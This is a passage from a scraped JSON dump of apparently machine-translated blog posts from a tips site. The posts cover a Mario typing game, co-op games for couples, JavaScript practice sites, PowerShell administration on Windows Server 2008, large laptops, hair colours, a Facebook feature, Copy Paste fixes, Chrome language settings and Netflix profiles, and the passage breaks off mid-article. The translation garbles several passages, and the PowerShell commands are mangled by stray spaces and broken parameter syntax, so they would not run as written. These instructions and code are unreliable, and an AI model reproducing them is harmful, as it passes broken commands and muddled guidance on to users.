meaningless words are boring. With Mario Teaches Typing your quick typing practice will be much more interesting. Let's find out how this game will help improve typing speed.\n'Secret' typing 'super speed' computer for office people\nTo improve typing speed, visit these 5 websites\nMario Teaches Typing is a computer training game that mimics the famous Mario game. Game Mario is too popular, I don't introduce much anymore, say this game straight away.\nIn each Mario Teaches Typing exercise will give you a way to play separately, time typing, number of characters typed and number of characters typed incorrectly. At the end of each level, you will know what your typing speed is, how accurate it is.\n  Statistics after the end of the game\nIn particular, Mario Teaches Typing also has another feature to help you practice typing 10 fingers besides forging typing speed or accuracy when typing. Pay attention to the hands at the bottom or above the game window, on each hand, there will be a colored finger on each hand, which is the finger you should use to type. If you want to practice typing 10 fingers quickly, then be patient to follow this instruction.\n  Mario Teaches Typing 10 finger typing game has 4 types of lessons: Lesson 1: Practice typing quickly and correctly In this series of Mario guy tasks like in the original game, will have to kill demons, break the bricks encountered on the road. These objects are marked with a character, you need to type this character correctly on the keyboard so Mario can go through. This song is the easiest, but at higher levels it is quite sweet.\n  Lesson 2: Quick typing practice When you're tired of playing with individual characters you can switch to the second lesson to practice typing long sentences. This sentence has all the uppercase, lowercase, punctuation, you need to type correctly to pass the screen.\nThe whole game is played underwater, our main character will swim according to the typing speed and the number of words you can type.\n  There is a small note in this section that in-game text is in English, so turn off Unikey to speed up typing, avoid being mistakenly typed when typing accented characters, making the final result incorrect.\nLesson 3: Practice typing text with long sentences Basically, lesson 3 is quite similar to lesson 2, except that Mario will go on land and the words in the sentence you type are also longer.\n  Lesson 4: Practice typing 10 fingers This lesson was created to practice typing 10 fingers, you will see nonsense characters arranged in rows, if you pay close attention you will find that it requires you to intertwine the fingers of your hands, continuously, continuous, thereby training the reflexes of the hand when typing. This is a pretty interesting lesson about 10-finger typing technique.\n  10-finger typing with Mario Teaches Typing game\nMario Teaches Typing is available for play on the Chrome browser: Play Mario Teaches Typing game or download it, but since it is an old Windows based game, you need to install DOSBox to play this game:\nDownload DOSBox Download Mario Teaches Typing Fun game, characters, graphics, music like bringing you back to the early 90s, very interesting. Most importantly, it has helped improve typing speed, while helping you not to be stressed, boring when practicing typing.\nSee more:\nPractice typing 10 fingers to speed up typing ncG1vNJzZmismaXArq3KnmWcp51kvbOtwq2gnJ1dqcaxtc2gZGpoXZu2r7PEq6pmrKmltq%2BzjJ%2BYrKxdrLa1tIymmKuhn2LBpq3CoZysZaSuvaq6xmaemqWV\n","link":"/post/practice-typing-10-fingers-typing-fast-with-mario-teaches-typing-game/","section":"post","tags":null,"title":"Practice typing 10 fingers, typing fast with Mario Teaches Typing game"},{"body":"If you're familiar with those activities, try something new and exciting by participating in virtual challenges in Valentine's co-op video games.\nThis will be an interesting activity for Valentine's Day, especially for long-distance lovers or longtime couples who are game enthusiasts. Video games can be the perfect recipe to spice up couples' communication and teamwork skills.\nMany people also think that collecting virtual experience points with their lover also improves their love life. In this article, let's explore the list of the best games for couples and prepare to have hours of thrilling gaming with your lover.\nTOP game for couples on Valentine's Day Overcooked For couples looking for a bit of a challenge, Overcooked is the perfect game for Valentine's Day. In the game, players will play the role of a chef in a busy kitchen, must prepare dishes according to orders and serve them to customers on time.\n  However, the biggest challenge of the game is that one player cannot do it all alone, that's why the gamer has to work with his friend to run the kitchen efficiently without getting in the way. road each other. Overall, Overcooked is super fun, as long as everyone keeps their communication skills at a great level.\nMario Kart Mario Kart is already one of the most popular go-kart racing video games of all time. For couples looking for a way to be more competitive during Valentine, Mario Kart is sure to get the two of you filled with adrenaline.\n  The latest version of the game called Mario Kart 8 Deluxe on Switch helps couples play on a single console via Joy-Con. In addition, Mario Kart 8 Deluxe allows players to play as one of the many characters from the Mario series, such as Mario, Bowser, Donkey Kong or even Princess Peach.\nCatherine Classic Catherine is indeed an extremely fun game to play as a couple, especially as its story and themes are all about love relationships, betrayal,.\nCatherine has some really interesting moral choices to make, namely when protagonist Vincent has nightmares at night. Everyone can play through the story together, taking turns solving puzzles.\n  This game also has some horror elements to attract players in the decision-making process whether to stick with Katherine - his longtime girlfriend, or Catherine - Vincent's crush.\nBe careful with this game because playing Catherine together can be a much more difficult experience than people think.\nStardew Valley Stardew Valley is a great game to play for a long time with a lover. Thanks to the multiplayer update, gamers can now gather their friends and loved ones to start a farm and live their best life in Pelican Town.\n  The game is also perfect for couples with many tasks and activities to participate in, such as farming, taking care of farms and livestock, mining resources, building houses, participating in different festivals. Couples can not only divide the farm work among themselves, but also get married and have children in the game.\nPortal 2 Collaboration is key to any relationship, but people can still mess with each other a little in the process to add to the fun. That's exactly what Portal 2 delivers, with its awesome co-op campaign.\n  Couples can control two experimental robots named P-Body and Atlas, each equipped with a different colored portal gun. All puzzles in the co-op campaign are clearly designed and the way to move forward is to help each other.\nOf course, there's nothing stopping anyone from cornering their teammates with a badly positioned Portal. Whichever way you choose to play, Portal 2 is a fascinating and unique game.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKCYpp1dm7yzecKorKmklah6sLqMr5ilnZ6ptq%2Bx0mabmrE%3D\n","link":"/post/top-game-for-couples-on-valentine-s-day/","section":"post","tags":null,"title":"TOP game for couples on Valentine's Day"},{"body":"Many people, after taking JavaScript courses and being equipped with some knowledge of the language they pursue, are eager to improve and cultivate these learned skills.\nThese programming languages ​​for the best mobile application development However, as every developer knows, there is a lot of work to do to build the first part of an application in addition to just writing code in JavaScript (set up building and automation tools, build one Non-interactive version of the application, etc.). If you start building an application right after learning the basics, you will encounter some difficulties and may begin to feel like practicing more with JavaScript to familiarize yourself with the types of data and methods. . So this article will give you a list of the top 3 websites to actually make JavaScript.\n7 Framework JavaScript for mobile application development 1. Coderbyte Challenges (Coderbyte.com)   Coderbyte provides tons of JavaScript exercises listed by different difficulty levels. Although to use these exercises, you have to pay 24 USD / month to access all the exercises (except for about 10 exercises at an easy level that are free). Another plus point for this site is that it will save all the exercises and challenges you have completed, this stimulates you to complete all their JavaScript exercises. In addition, it offers numerous examples of how others overcome challenges if you are stuck in any challenge. If you work hard to complete many exercises in a month, the $ 24 amount is not expensive.\n2. NodeSchool Workshoppers (nodeschool.io)   In addition to storing really great events and meetings, NodeSchool's Javascripting and Functional Javascript workshops have free exercises that you can practice with the JavaScript skills you have learned. However you need to install Node.js on your computer and have a text editor to be able to do these exercises.\n3. w3resource JavaScript Exercises (w3resource.com/javascript-exercises/)   Many developers are familiar with w3resource, they have a lot of free JavaScript exercises listed by topic. In general, most exercises here are excellent resources for practicing JavaScript skills.\nHope these resources help you have more time to improve and improve JavaScript knowledge and skills.\nSee more:\n26 useful websites should track if you are a web developer Top 20 free programming learning websites need to bookmark immediately! 8 websites that help programmers practice coding skills ncG1vNJzZmismaXArq3KnmWcp51kwbC8jKygrZ1drLa1tIymmKexXZy8sLCMo5ivmaOYv6q802acsZ2imLa0sdJmq6hloKeupMDInJw%3D\n","link":"/post/top-site-with-many-good-javascript-exercises-to-practice/","section":"post","tags":null,"title":"Top site with many good JavaScript exercises to practice"},{"body":"Carlos Ruiz, a professional graphic designer has created an extremely special picture. Without using any computer software on any computer, just by stacking and merging Windows error messages together, Ruiz created a peaceful countryside picture with green roads, green fields. and high-rise buildings in beautiful distance.\n Painting by combining Windows error messages.\n  Crop a special picture corner of Ruiz.\nCarlos Ruiz is currently an employee of Riot Games, the company developing League of Legends (distributed in Vietnam with the name League of Legends). Using only the error message screen that Ruiz has created such a great picture, the works are created when the guy who works seriously with the graphics tools will definitely be 'not the most recent form'. . Invite you to admire some other works of Ruiz.\n          You can visit Carlos Ruiz's personal website (https://kairuiz.artstation.com/) to see more great works.\nSee more:\nUsing only HTML and CSS code, one can create a masterpiece full of aesthetics like this Creating beautiful paintings with Paint, 87-year-old grandmother became hot Instagramer This guy uses only Microsoft Excel formulas that create 3D games ncG1vNJzZmismaXArq3KnmWcp51kwrS1zaBkqKacrnq1tMRmrqKmlKTEtHnEq6moql2isrS%2FwKCcZqyYnsBus9SyZJ2qlax6onnSrqmpqpmotq%2Bzy7Jkm52RqsGqstSlZKmhk6nCs7E%3D\n","link":"/post/using-only-the-windows-error-message-this-guy-drew-a-surprisingly-beautiful-picture/","section":"post","tags":null,"title":"Using only the Windows error message, this guy drew a surprisingly beautiful picture"},{"body":"TipsMake.com - In fact, there are quite a few tasks of Windows Server 2008 that we can do a lot faster with PowerShell than the GUI application or support tool. In the following article, we will introduce you some basic and most frequently used operations with PowerShell :\n- Change the administrator account password - Administrator\n- Restart or turn off the server\n- Restart 1 any service\n- Turn off any process\n- Create a report\n1. Change admin password with PowerShell: Assume that you are logged in with an Administrator domain account on a Windows 7 Desktop computer on the domain system. The requirement here is to change the password on the remote server in Chicago named CHI-WIN7-22 . After an account is used many times, the chances of 'unlocking' the password are higher. That is why we should change the password of the account after a period of use.\nFirst, we need to create a new ADSI object for the local Administrator account on the server. To do this, type the following command at the PowerShell screen:\n[ADSI] $ Admin = 'WinNT: // CHI-WIN7-22 / Administrator'\nIn essence, the above command will perform 'retrieve' admin account on machine CHI-WIN7-22 and assign it to ADSI object named $ Admin . If you want to connect to another computer, you just need to change CHI-WIN7-22 to the corresponding name of that computer. If you want to know how long that password has been used to change it, we will use the command:\n$ Admin.PasswordAge\nThe above statement will display the amount of time that has elapsed since the last change, and since the return value is calculated in seconds, we will divide by 86,400 to convert to date:\n$ Admin.PasswordAge.Value / 86400\nIf you pay close attention, we will see that we use the Value attribute here. That's because the PasswordAge information is stored in the collection form, so we need to know the value of that collection to check the exact number to perform the division calculation. Finally, change the password using the SetPassword function, along with the new password - argument . For example, if you want to set a new password, S3cre + WOrd , you must type the following command:\n$ Admin.SetPassword ('S3cre + WOrd')\nHowever, you should note that after pressing Enter, the system will not display any messages, but this change will take effect immediately. Because we used the method - method, not the cmdlet - command. Unlike cmdlets , SetPassword does not support -whatif or -confirm .\n 2. Turn off or restart the server: To do this, we will use a WMI-based cmdlet pair of commands, which is Restart-Computer and Stop-Computer . Although ink doesn't go too far into analyzing each of these commands, we still have to mention, since those cmdlet commands accept alternative information - great for specifying user accounts already. login is available, through which we can execute the corresponding commands of that account.\nBesides, you can take advantage of whatif - confirm and - confirm , which means that if you want to execute the command to shut down or restart the system, we can do it in our own way. And if applied in practice, especially in the case of having to turn off multiple computers at the same time, this will be the most effective solution. The basic structure of this command is:\nRestart-Computer -ComputerName with - ComputerName is an array of string data, assigned with the name of 1 or more computers. Stop-Computer uses the same syntax, for example if you want to restart 2 computers named CHI-DC02 and CHI-FP01 , we type:\nRestart-Computer 'CHI-DC02', 'CHI-FP01'\n The -whatif parameter is used to show what happens when the command is executed\nNow, we will move on to a more complicated example, assuming we have a list of multiple computers in a file called servers.txt , using the Get-Content cmdlet command to get the content inside. in that text file:\n  So if you have to do it on multiple computers, enter the names of those computers into a text file. And each time we need to reboot, we just need to apply the Get-Content cmdlet command. Examples are as follows:\n Next, the system will push the list part to the where clause to check. Inside this where clause, we will proceed with the test-connection command - the main purpose is to ping each individual computer. The - quiet parameter will return true or false , while - count 2 means that each computer can only ping 2 times. For each machine that is pinged twice, the system will automatically browse them.\nNext, we will have to use foreach . Specifically, for each computer name that passes the above check, the system will display a message with a green color that says: ' Restarting '. The parameter $ _ represents each object in the system, and then the Restart-Computer cmdlet command will be invoked to restart all computers that have been pinged. Besides, we can also use the - force parameter to prevent any account from logging in.\nAnd finally, continue to use whatif - to show the entire activity, progress or happenings happening in the system.\n3. Restart the service: Here, Restart-Service will be the cmdlet command used to restart the service - service in the system. Although the cmdlet command does not have a mechanism to support the connection to a remote computer, PowerShell Remoting can be activated for use via the remote mechanism.\nTo do this, just type the command: Restart-Service 'service', where ' service ' is the name of the service that needs to be restarted. On the other hand, if you want to apply this on one or more remote computers, use the cmdlet Invoke-Command and PowerShell Remoting commands .\nFor example, in the screenshot of PowerShell below, there are 2 cases where we have performed Restart-Service syntax to restart the service called wuauserv (of Windows Update ). First, the Restart-Service is executed directly on the system, but then this command continues to be executed on a database server called CHI-DB01 with the help of Invoke-Command.\n By default, Restart-Service will not save any objects into the system unless you use the command - passthru . Therefore, the information we see below ( Status , Name .) is the result after using - passthru . If the service works on many different computers, and wants to restart that service, we just need to add the names of those computers to the list, separated by commas.\nAnother way to do this is to use WMI . First, we will create a new WMI object:\n In which gwmi is the alias of Get-WmiObject.\nSpecifically, the system will first push objects to Get-Member (with alias gm ):\n If you pay close attention, you will find that there is no way to restart the service. That means we will have to use the StopService command to stop, then start with StartService .\nHere's how to stop the service using the object 's StopService . If you get a ReturnValue value of 0, it means that service has been stopped. In case you get another value, find that value on MSDN:\n To start the service, we use the StartService command:\n To test, you type the corresponding get-service command on the computer. This command allows the user to connect to the remote computer:\n 4. Turn off any process: This is also the most often done on multiple servers, and to do this we will have to use the Stop-Process cmdlet command. Similarly, if you want to apply on the remote system, you will need to go to Stop-Process that comes with PowerShell Remoting.\nIn fact, we have two ways to do this with the Stop-Process cmdlet .\nThe first way is quite simple, you just need to run the Stop-Process command, and then the name or corresponding ID of the process. For example, with the screenshot below, the process name to shut down here is Calc (which is the Windows Calculator ):\n Next, we will switch to the application case on the remote computer. The example here is the process of notepad on the remote machine called chi-fp01.\n Then, we have to check if the application is working by using the ps - alias parameter of Get-Process:\n And when you have the remote process to process, we will apply some of the same steps as in the above reboot, you use the Invoke-Command and PowerShell Remoting commands to perform Stop syntax. -Process on remote chi-fp01 server .\n  5. Create report Disk Utilization: System administrators must regularly monitor the status of the server as well as the available space on the server's drive. In fact, we can easily do this by using WMI or Win32_LogicalDisk class .\nWith WMI , it is possible to execute query commands directly on local or remote machines, 1 or more computers. Besides being able to save data into CVS file or directly into database, HTML page or simplest is displayed on the screen.\nExample of a simple WMI statement on a local machine:\nGet-WmiObject win32_logicaldisk -filter 'drivetype = 3' | Out-File c: ReportsDisks.txt\nSpecifically, we use the cmdlet GetWmiObject command to display information returned from the Win32_LogicalDisk class. Then there is the - filter to filter drivetype related information = 3 - corresponding to the fixed system partitions like drive C. This also means that other devices such as USB Flash drives, map drives The system will not be listed here, and this information will be saved in the Disks.txt file .\nIn the screenshot below, we specify that the displayed results will include some information such as Device ID, Size, Space .:\n Specifically, we will create a new function function here called Get-DiskUtil. Depending on the actual situation in which you can put this function in the script file, then download to the profile, or load from many other scripts to use in combination.\n The above function will use the computer name as a parameter, and the default value is the name of the local computer.\n Here, we continue to use the Process script to prevent the name of the local computer from entering the function.\n Next is GetWmiObject :\n The result of this process is focusing on the Select-Object cmdlet command (with the corresponding alias Select ). Next, we take advantage of Hashtable to create a properties object called Computername - with the main function of renaming SystemName of the current object ($ _) to Computername , while DeviceID will be preserved:\n After that, we continue to create 1 Hashtable object pair, first with the Size property, broken down into 1GB separate parts, so change it to SizeGB . Next is Freespace with the same basic formula:\n To continue, we will create a new property named UsedGB - not available in WMI, this is simply the difference between Size and FreeSpace , then split by 1GB:\n And finally, we need to create another attribute called PerFree - understand what is 'percent free', with the main function is to display the free space of the drive in%:\n Below is a screenshot of the system when we enter the name of the computer, display it in a tabular format - Format-Table or ft, then the results will automatically be adjusted to size by using -auto.\n In the next step, we will move on to the details of creating a report on Disk Utilization status for the server. The first thing to do here is to save all data into the $ data variable, so that the user will not have to type the command manually anymore. After that, the system continues to push the results obtained to the where object, execute the ping command to check, assign the computer name to the newly created function - Get-DiskUtil.\nAnd when the system displays the interface as shown below, it means the data storage has been completed:\n Data information has been successfully stored in $ data . If desired, the user can define this information section in $ data and sort by computername variable, besides it can be sent via Out-Printer or Out-File:\n  Similarly, if you want to download that information to SQL database or Excel , we only need to convert the format - convert to CVS file as follows:\n  If you import the CSV file, you can store the temporary state of the partitions and the drive when the command is executed:\n  For example:\n  And finally, we will discuss how to create a report in HTML format. Similar to the above, you start by filtering $ data and assigning Sort Computername , then passing this information to ConvertTo-HTML cmdlet command, besides naming and the path to the CSS file. This CSS section is really necessary because ConverToHTML does not perform any formatting operations nor sort information. Then, create the resulting file according to the structure as below:\n Then, type start to start:\n  And this is our result:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kfnF506KnrGWnnsGpec%2Borp6qo52yrbiMoqVmr5mjsbDD0maqnqqmmr9ufo9pb2aokafBbn0%3D\n","link":"/post/10-tips-with-powershell-in-windows-server-2008/","section":"post","tags":null,"title":"10 tips with PowerShell in Windows Server 2008"},{"body":"Blu-ray players, HD content and the presence of Acer, Sony and HP help 18-inch laptops start competing with some traditional sizes and in the long run may replace 15 - 17 inches. The first version that caught the attention of consumers was Acer Gemstone Blue 8920 in March 2008 with an 18.4-inch screen, 16: 9 aspect ratio, supporting full HD content viewing thanks to natural resolution. 1,920 x 1,080 pixels.\n  Acer Gemstone Blue 8920. Photo: Compareindia .\nThis system integrates CineReal television and audio transceiver - the second generation of Dolby Surround, 1.5 GHz Penryn chip, Nvidia 9650m 512 MB graphics and Blu-ray drive. The device works on Windows Vista, allows you to watch movies continuously for 3 hours and sells for 1,700 USD (you can choose a lower profile with a starting price of 900 USD).\n  Toshiba Qosmio G55. Photo: Toshiba .\nToshiba Qosmio G55 (formerly known as G50, introduced in Japan to promote the HD DVD format) has just appeared in the US in late September 2008, using SuperMulti DVD drive, TruBrite screen, Intel Core 2 Duo P7350 2 GB, 4 GB RAM, Nvidia GeForce 9600M GT 512 MB graphics, 500 GB hard drive and cost 1,550 USD.\n  Sony AW. Photo: Gizmodo .\nSony has also introduced a number of 18.4-inch versions of the Sony AW series with different configurations and prices range from $ 1,600 to $ 3,000. All are equipped with XBRITE-FullHD 1,920 x 1,080 screen, Blu-ray drive, 250 GB basic hard drive (can be expanded to 1 terabyte or 64 GB SSD drive).\n  Sony Vaio Type A\nEarlier this month, the Japanese electronics company continued to make a strong impression with the Sony Vaio Type A using a T9600 Core 2 Duo processor, 4 GB of RAM and running parallel 128 GB SSDs and 500 GB SATA - features that Japanese electronics firm claims to be \"the first in the world\". This laptop is sold at the lowest price of 1,700 USD and can be up to 3,000 USD.\n  Hewlett-Packard HDX 18. Photo: PCMag .\nThe latest face to introduce an 18.4-inch computer is Hewlett-Packard with HDX 18 using Intel Core 2 Duo, 4 GB RAM, 640 GB hard drive (2 320 GB drives), Blu-ray reader and DVD burner, map Nvidia GeForce 9600M GT 512 MB graphics. The product works on Windows Vista and has a starting price of US $ 1,550 but in order to achieve the above configuration, users can pay more than US $ 2,000.\nncG1vNJzZmismaXArq3KnmWcp51kfnm1zZyfZpqZnHqtrc%2Btpqllopawpr%2BMraZmnJ%2Bitq%2Bt055kraCVYrqivsqeqw%3D%3D\n","link":"/post/18-inch-big-laptop-races-to-dominate-the-market/","section":"post","tags":null,"title":"18-inch 'big' laptop races to dominate the market"},{"body":"You are about to go to a hair salon and want to choose a hair color that suits you, helps you respect your skin and stand out. So please refer to 50+ Beautiful Hair Colors 2020, the latest hair color trends of 2020 that the article shares below.\n  Combining 50+ hottest 2020 hair colors to help you respect the skin and stand out, you update and choose the best hair color to dye your hair.\n  50+ Beautiful hair colors\n  The most beautiful hair color hottest\n  Beautiful hair colors for women\n  The hair color is beautiful\n  Violet red brown\n  The most beautiful hair dye\n  Beautiful hair coloring\n  Smoke purple\n  Beautiful smoky hair\n  Very beautiful hair color\n  Beautiful hair color for the bride\n  Beautiful hair color for students\n  Beautiful hair color for men\n  Beautiful hair color for women\n  Nice hair color for short hair\n  The most beautiful hair color\n  Nice hair color gently\n  The most beautiful hair color\n  Beautiful female hair color\n  Beautiful hair color\n  Beautiful Korean hair color\n  Beautiful hair coloring for girls\n  Beautiful hair color\n  Beautiful hair color Korean trend\n  The most beautiful and unique hair color\n  Beautiful hair color, the latest\n  Nice hair color\n  Purple hair beautiful purple light\n  Gentle hair color simple\n  Beautiful hightlight hair model\n  Pink hair highlights\n  Hot hair color\n  Beautiful smoky hair\n  Latest hair color\n  Beautiful brown hair color\n  Nice short hair color\n  Hair color dyed beautiful violet light\n  Very beautiful hair color\n  Beautiful hair color\n  Beautiful hair color hightlight\n  Hair color dyed beautiful Korean style\n  Hair color highlights\n  Beautiful female hair color\n  Beautiful purple hair color\n  Beautiful green hair color\n  The beautiful silver hair with curly hair\n  Beautiful curly hair color\n  Hair color\n  Beautiful silver blue\n  Stunning gray blue\n  The most beautiful hair colors\n  Beautiful hair colors\n  Hair color is beautiful\n  Summary of beautiful hair colors\n  The trend of beautiful hair color\nAbove the article has synthesized and shared with you the most beautiful and singing hair colors today. Hope through the hair colors that the article will share you will choose the best and most suitable hair color for you.\nncG1vNJzZmismaXArq3KnmWcp51kgnF5wZ6YrqyZm8KteceaoKtlk6S5sL7SZmlpamA%3D\n","link":"/post/50-beautiful-hair-colors-2020/","section":"post","tags":null,"title":"50+ Beautiful hair colors 2020"},{"body":"There have been a few times this has been mentioned on Twitter in the past few months but recently we have seen more. Facebook notifies this feature with a dynamic effect. Although this feature is not available on iOS devices, but has seen on many Android phones, so it is probably being released widely.\n  Zoom in with two fingers without leaving the News Feed\nPreviously users could touch to zoom in, but the new feature will be faster and allow zooming in without leaving the News Feed. Pinch-to-zoom on News Feed also helps to expand images more than when touching photos like before. Especially, this feature only works with private photos, not with albums.\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdlrmtu9asZLOnn6K2r7OMsKCtoF2pxLB5xaKloJ2iqHq4tdOhpq6sXaGyosLIp55mrJiaeq%2Bx1qxkn52VmQ%3D%3D\n","link":"/post/facebook-allows-zooming-with-two-fingers-without-leaving-the-news-feed/","section":"post","tags":null,"title":"Facebook allows zooming with two fingers without leaving the News Feed"},{"body":"Copy Paste is one of the most basic functions in Windows, already in the operating system from the first version. It helps users significantly reduce the time when performing many tasks of word processing, rearranging and formatting documents on the computer.\nThe quickest and easiest way to use Copy Paste in Windows is to use keyboard shortcuts: Ctrl + C to copy and Ctrl + V to paste. Alternatively, you can use the mouse by highlighting the text, selecting the image or region you want to copy and then right-clicking or moving the mouse and selecting Copy , then where to paste, select Paste .\nIf the Copy Paste function does not work on Windows, it may be caused by a corrupted program component, an antivirus software, a problematic plugin, certain problems with the Windows system, or a problem with rdpclicp.exe.\nIf you restart the computer, the Copy Paste error cannot be fixed, please try the following methods.\nHow to fix the error of not Copy Paste in Windows 1. Update Windows 2. Temporarily disable antivirus software 3. Run the Check Disk utility 4. Run rdpclip.exe process 5. Restore the system 6. Set up a new user profile 7. Disable add on Send to Bluetooth 8. Disable the shared Clipboard in Virtualbox 1. Update Windows Certain system errors may cause the Copy Paste function to not work. You can fix this by updating Windows because Microsoft continuously adds new updates with important patches.\nTo update Windows:\nStep 1 . Click Start and select Settings\u0026gt; Update \u0026amp; Security .\nStep 2 . Click Check for updates so that Windows checks for available updates and downloads, install them when you restart your computer.\n  2. Temporarily disable antivirus software Good antivirus software is very important for computer security, but sometimes the software conflicts with the system, which may cause the Copy Paste function to not work. To resolve this issue, temporarily disable some antivirus software features. If it still doesn't work, you should disable it completely.\nIf, after disabling, it can fix copy and paste problems, you should consider replacing other antivirus software. There are many options available that don't interfere with the system and still protect you well.\n3. Run the Check Disk utility Corrupted system programs or files may cause Copy Paste to fail. Running chkdsk can help solve the problem. To do this:\nStep 1 . Open File Explorer and select This PC .\n  Step 2 . Right-click on the hard drive and select Properties .\nStep 3 . Visit the Tools tab.\n  Step 4 . Click Check in Error checking .\n  Alternatively, you can run Check Disk from the Command Prompt by:\nStep 1 . Right-click on Start and select Windows PowerShell (Admin) .\n  Step 2 . Enter the following command:\n chkdsk X: / f  Replace X with your drive letter, usually C by default.\n  Step 3 . When asked to schedule a scan, press Y.\nStep 4 . Restart the computer, check if the problem is resolved.\n4. Run rdpclip.exe process To troubleshoot copying and pasting in Windows, you need to end the rdpclicp.exe process and then restart it. To do this:\nStep 1 . Press Ctrl + Shift + ESC to start Task Manager.\nStep 2 . Go to Details tab.\n  Step 3 . Right-click on rdpclip.exe process.\nStep 4 . Select End task .\nStep 5 . Go to the Windows / system32 folder.\nStep 6 . Search for rdpclip.exe and run it.\n5. Restore the system If an update or application you have recently installed causes a problem, you can restore Windows back to the restore point. Although System Restore does not change your personal files, it can delete recently installed drivers, updates and applications.\nThis feature restores your computer back to the time before the Copy Paste error occurred. Restore points are created when you install new drivers, applications, or Windows updates. You can create manual restore points if you want.\nTo perform system recovery, follow the steps below:\nStep 1 . Open Control Panel.\nStep 2 . In the search box, enter Recovery and press Enter .\nStep 3 . Choose Recovery .\n  Step 4 . Select Open System Restore\u0026gt; Next .\n  Step 5 . Select the restore point related to the driver, application or update that caused the problem.\nStep 6 . Select Next\u0026gt; Finish .\nNote : If there are no restore points, System protection can be turned off. To activate it, follow these steps:\nStep 1 . Open Control Panel and Search Recovery .\nStep 2 . Select Recovery\u0026gt; Configure System Restore\u0026gt; Configure .\nStep 3 . Select Turn on system protection .\n6. Set up a new user profile Damaged user profiles can cause the copy and paste functionality to not work in Windows. You can set up a new user profile by following these steps:\nStep 1 . Click Start and select Settings .\nStep 2 . Select Accounts .\n  Step 3 . Click on the Family \u0026amp; Other people .\n  Step 4 . Click Add someone else to this PC .\n  Step 5 . Enter your username, password and password hint.\nStep 6 . Select Next .\nIf the problem persists with the new user profile, try the next solution.\n7. Disable add on Send to Bluetooth This add-on is linked to Microsoft Office and you can see it in the Add-ons of Office software. Check all of these add-on tools and disable it in each Office tool.\n8. Disable the shared Clipboard in Virtualbox Virtualbox helps you run a virtual machine on your computer, but some of its features may interfere with the system, such as shared clipboard. To fix the problem, turn off this feature and retry copying and pasting.\nCopy Paste is an essential function, Windows users can't live without it. Hope these ways can help you solve the problem.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEyKeeZp2ip7yzv4ycmKemn6l6pLvPsmSpmaOpsm61zWauoqaUpMS0\n","link":"/post/fixing-errors-cannot-copy-paste-in-windows/","section":"post","tags":null,"title":"Fixing errors cannot Copy Paste in Windows"},{"body":"Current web browsers also offer language options so that users can change to any language to use, depending on each person's needs. Changing the interface on Chrome to Vietnamese will make it easier for us to browse the web, especially when changing the settings on the browser. The following article will guide you how to change the language on Chrome to Vietnamese for both the Chrome version on the computer and Chrome on the phone.\nHow to change the language on Google Fix errors not typing Vietnamese on Chrome To speed up Chrome browser, apply these tricks 1. Transfer Chrome to Vietnamese on PC Step 1:\nAt Chrome browser interface, click on the 3 dots icon and select Settings .\n  Step 2:\nSwitch to the installation interface on your browser, click on the 3 left dash icon and then select Advanced . In the dropdown list click on Languages .\n  Step 3:\nThen, in the Language section, you will leave the current language in the browser, which is in English. You click on the language section to change.\n  Step 4:\nTo add Vietnamese language to the list of languages ​​for Chrome browser, click Add languages .\n  Display the list to search for the language you want to add to the list of languages ​​on Chrome. You enter Vietnamese into the search bar above. Select Vietnamese and click on the Add button to add Vietnamese.\n  Step 5:\nGo back to the interface of the language list on Chrome. In Vietnamese click on the 3 dots icon , then click the Display Google Chrome in this language box .\n  Click the Relaunch button to restart Chrome browser.\n  Chrome browser will change to Vietnamese language as shown below.\n  2. How to change Chrome into Vietnamese on mobile 1. Change Chrome language on iPhone With the Chrome iOS version we have to change the device language, the browser interface will also change. For example, we will change the English interface on Chrome to Vietnamese.\n  Step 1:\nThe user accesses Settings , select General and then finds the Language \u0026amp; Region section . Continue to click iPhone Language to select the new language for the device.\n   Step 2:\nIn the list of languages ​​supported by the iPhone, click Vietnames and then click the Done button above. Users click Confirm to Change to Vietnames and wait for iPhone to change to Vietnamese language.\n   When we return to Chrome, we will see the browser interface in Vietnamese.\n   2. Change Chrome Android to Vietnamese To change Chrome Android's language from English to Vietnamese or any other language, we also need to change the device's language to Vietnamese. Then the Chrome browser interface on Android will be changed to Vietnamese. For Android devices that do not support Vietnamese, we need to install additional support applications. But in general, most Android devices currently have support for Vietnamese language to use.\nHow to install Vietnamese on Android phone you read in the article Instructions to install Vietnamese on Android phones.\n   So you know how to change Chrome browser language to Vietnamese or any other language. For mobile devices, the browser language will automatically be changed according to the device language, so we only need to change the phone language. With Chrome on the computer there will be more options for using the language for the interface.\nSee more:\nInstructions for switching to Vietnamese language for Gmail How to change the voice search language to Vietnamese in Google Maps on iPhone / iPad How to convert Windows 8 / 8.1 keyboard language I wish you all success!\nncG1vJloZq2hoKi6orfEZ5qopV%2BdvLh506hknKeeq7KzwIygpqifnJp6pLTRqKSeZaSkere1xK2lmqWVqLI%3D\n","link":"/post/how-to-convert-google-chrome-to-vietnamese/","section":"post","tags":null,"title":"How to convert Google Chrome to Vietnamese"},{"body":"Just like YouTube, the Netflix service recommends and suggests videos based on your interests and videos you've watched before. And of course everyone's interests are different, so you can create multiple Netflix profiles that are suitable for different audiences, especially for young children, to limit videos that are not suitable for children. The following article will guide readers to create multiple Netflix accounts.\nInstructions to create and manage Netflix profiles Step 1:\nWe access the Netflix account account in the browser . After logging in, click the default profile name on the right and select Manage Profiles .\n  Step 2:\nBy default Netflix has the profile you are using and adds a kids profile option. Click Manage Profiles to get started.\n  Step 3:\nClick the pencil icon in the middle of the Kids profile to create a new profile for kids if your home has it.\n  In the new interface you enter the content to create a profile , rename the profile, avatar, content and programs you want to display. Finally click Save to save.\n  In case you want to delete the created profile , click Delete profile .\n  Step 4:\nIn case we want to create a completely new profile , click on Add Profile .\n  Then enter a name for the profile and click Continue to proceed. Note that the profile picture will not be changed when you create it but must be in the edit interface.\n  Next, you fill in the program content shown in the newly created profile, change the avatar and finally click Save to save.\n  The result of the newly created profile will be displayed as shown below. If you want to edit any profile, click the pencil icon is okay.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYymrKWsmaW5pnnNnqufpJmterG%2Bzp%2BgpZ2j\n","link":"/post/how-to-create-multiple-netflix-profiles/","section":"post","tags":null,"title":"How to create multiple Netflix profiles"},{"body":"1. Quick fix Press F5 to refresh the page, usually this is just a small glitch that occurs when you load the page. Visit again next time. Connection problems can be long and it's not your fault. Just wait until the website owner fixes the error. The URL is wrong. Make sure you have entered the correct website URL 